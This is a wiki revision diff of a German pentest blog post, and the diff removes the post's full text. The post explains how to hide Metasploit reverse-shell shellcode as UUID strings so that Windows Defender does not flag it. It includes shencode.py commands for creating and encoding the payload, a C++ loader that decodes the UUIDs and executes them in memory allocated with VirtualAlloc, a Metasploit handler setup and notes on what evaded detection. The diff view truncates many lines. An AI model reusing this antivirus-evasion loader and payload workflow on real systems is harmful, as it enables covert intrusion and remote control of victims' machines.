Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
Nächste Überarbeitung | Vorhergehende Überarbeitung | ||
it-security:blog:obfuscation_shellcode_als_uuids_tarnen_-_teil_1 [2024/09/10 22:18] – angelegt psycore | it-security:blog:obfuscation_shellcode_als_uuids_tarnen_-_teil_1 [2024/09/17 10:15] (aktuell) – redirect psycore | ||
---|---|---|---|
Zeile 1: | Zeile 1: | ||
- | {{tag>IT-Security Windows Kali pentest obfuscation blog deutsch}} | + | ~~REDIRECT> |
- | + | ||
- | ====== Obfuscation: | + | |
- | + | ||
- | {{:it-security: | + | |
- | + | ||
- | Im letzten [[it-security: | + | |
- | + | ||
- | Mir kam die Idee, die OpCodes in ein String-Array umzuwandeln, | + | |
- | + | ||
- | ===== Tools ===== | + | |
- | + | ||
- | Der Encoder ist Teil meines Shellcode-Tools [[https:// | + | |
- | + | ||
- | ===== Schritt1: Shellcode vorbereiten ===== | + | |
- | + | ||
- | ==== erzeugen ==== | + | |
- | + | ||
- | Wir erstellen ein Payload ohne weitergehende Verschlüsselung bzw. Enkodierung. Dieses wird in der Regel durch Windows Defender erkannt. | + | |
- | + | ||
- | <code bash> | + | |
- | python shencode.py create -c="-p windows/ | + | |
- | </ | + | |
- | + | ||
- | ==== encoden ==== | + | |
- | + | ||
- | Dieses Payload encoden wir nun als UUID-Strings. | + | |
- | + | ||
- | <code bash> | + | |
- | python shencode.py encode -f shell_rev.raw -u | + | |
- | </ | + | |
- | + | ||
- | Die Ausgabe sieht nun in etwas so aus: | + | |
- | + | ||
- | <code cpp> | + | |
- | [*] try to open file | + | |
- | [+] reading 240906.001 successful! | + | |
- | [*] try to generate UUIDs | + | |
- | std:: | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | ... | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | [+] DONE! | + | |
- | </ | + | |
- | + | ||
- | ===== Schritt 2: Inject.cpp schreiben ===== | + | |
- | + | ||
- | ==== Header ==== | + | |
- | + | ||
- | === verschleierter Shellcode === | + | |
- | + | ||
- | Wir erstellen ein neues C++ Projekt und übernehmen das verschleierte String-Array, | + | |
- | + | ||
- | <code cpp> | + | |
- | #include < | + | |
- | #include < | + | |
- | #include < | + | |
- | #include < | + | |
- | #include < | + | |
- | #include < | + | |
- | #pragma warning | + | |
- | + | ||
- | std:: | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | ... | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | " | + | |
- | </ | + | |
- | + | ||
- | ==== Encoding und Injection ==== | + | |
- | + | ||
- | === überflüssige Zeichen entfernen === | + | |
- | + | ||
- | Zunächst benötigen wir eine Funktion, um die '' | + | |
- | + | ||
- | <code cpp> | + | |
- | void removeDashes(std:: | + | |
- | str.erase(std:: | + | |
- | } | + | |
- | </ | + | |
- | + | ||
- | === Strings in Bytes konvertieren === | + | |
- | + | ||
- | Die nächste Funktion sorgt für die Aufbereitung der UUID Strings in ausführbare Bytes. Das String-Array wird Stück für Stück durchlaufen: | + | |
- | + | ||
- | * Entfernen von '' | + | |
- | * Lese 2 Zeichen und gib diese als Byte zurück | + | |
- | * Wenn das String-Array durchlaufen ist, gib das erzeugte Byte-Array an den Caller zurück | + | |
- | + | ||
- | <code cpp> | + | |
- | std:: | + | |
- | std:: | + | |
- | for (const auto& str : inputStrings) { | + | |
- | std::string cleanStr = str; | + | |
- | removeDashes(cleanStr); | + | |
- | for (size_t i = 0; i < cleanStr.length(); | + | |
- | if (i + 1 < cleanStr.length()) { | + | |
- | std::string byteString = cleanStr.substr(i, | + | |
- | uint8_t byte = static_cast< | + | |
- | byteArray.push_back(byte); | + | |
- | } | + | |
- | } | + | |
- | } | + | |
- | return byteArray; | + | |
- | } | + | |
- | </ | + | |
- | + | ||
- | === Hauptprogramm === | + | |
- | + | ||
- | Das Hauptprogramm initialisiert die Variablen, ruft die Konvertierungsfunktion auf, gibt die Bytes in der Konsole aus und führt anschließend die Injection aus. | + | |
- | + | ||
- | Um diesen Vorgang etwas zu tarnen, wird die Funktion '' | + | |
- | + | ||
- | <code cpp> | + | |
- | int main() { | + | |
- | std:: | + | |
- | std:: | + | |
- | unsigned char* Payload = reinterpret_cast< | + | |
- | size_t byteArrayLength = result.size(); | + | |
- | std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std:: | + | |
- | + | ||
- | for (size_t i = 0; i < byteArrayLength; | + | |
- | std::cout << std::hex << std:: | + | |
- | if ((i + 1) % 8 == 0) { | + | |
- | std::cout << std:: | + | |
- | } | + | |
- | } | + | |
- | + | ||
- | void* (*memcpyPtr) (void*, const void*, size_t); | + | |
- | void* exec = VirtualAlloc(0, | + | |
- | memcpyPtr = & | + | |
- | memcpyPtr(exec, | + | |
- | ((void(*)())exec)(); | + | |
- | return 0; | + | |
- | } | + | |
- | </ | + | |
- | + | ||
- | ===== Schritt 3: Funktionalität testen ===== | + | |
- | + | ||
- | ==== Metasploit handler ==== | + | |
- | + | ||
- | Wir starten einen Metasploit Handler auf dem Angriffs-System, | + | |
- | + | ||
- | <code ruby> | + | |
- | msf6 > use exploit/ | + | |
- | [*] Using configured payload generic/ | + | |
- | + | ||
- | msf6 exploit(multi/ | + | |
- | + | ||
- | [*] Started reverse TCP handler on 0.0.0.0: | + | |
- | </ | + | |
- | + | ||
- | ==== Inject.cpp kompilieren ==== | + | |
- | + | ||
- | Anschließend kompilieren wir unsere Inject.cpp als 64-Bit Programm. Dieses kopieren wir anschließend auf das Opfer-System. Nach dem Kopiervorgang wird die Datei nicht erkannt. Wir scannen diese einmal händisch mit dem Windows Defender. | + | |
- | + | ||
- | {{it-security: | + | |
- | + | ||
- | Das sieht ebenfalls gut aus. | + | |
- | + | ||
- | ==== Ausführen ==== | + | |
- | + | ||
- | Wir führen nun die Datei aus und warten auf das Ergebnis. | + | |
- | + | ||
- | Leider passiert an dieser Stelle auch erstmal nichts, außer Warten. Ein Blick auf den Shellcode verrät auch direkt warum das so ist: | + | |
- | + | ||
- | <code stylus> | + | |
- | " | + | |
- | </ | + | |
- | + | ||
- | Wir haben ein Raw-Payload aus metasploit heraus erzeugt. Dieses enthält eine Menge Null-Bytes und diese verhindern die korrekte Ausführung. Dies war recht ärgerlich, da meine ersten Tests durchliefen. | + | |
- | + | ||
- | Ich habe den gesamten Vorgang mit dem metasploit internen XOR Encoder wiederholt und Null-Bytes als Bad Character definiert. Hiermit konnte ich die Shell dann spawnen, jedoch wird der XOR Decoder im Speicher erkannt und Windows Defender schlägt Alarm. | + | |
- | + | ||
- | ===== Fazit ===== | + | |
- | + | ||
- | Die UUID Verschleierung funktioniert und schützt die Datei beim Festplatten-Zugriff. Nach der Ausführung muss noch ein Speicherschutz her, der die Erkennung verhindert. Dies zeige ich im nächsten Teil. | + |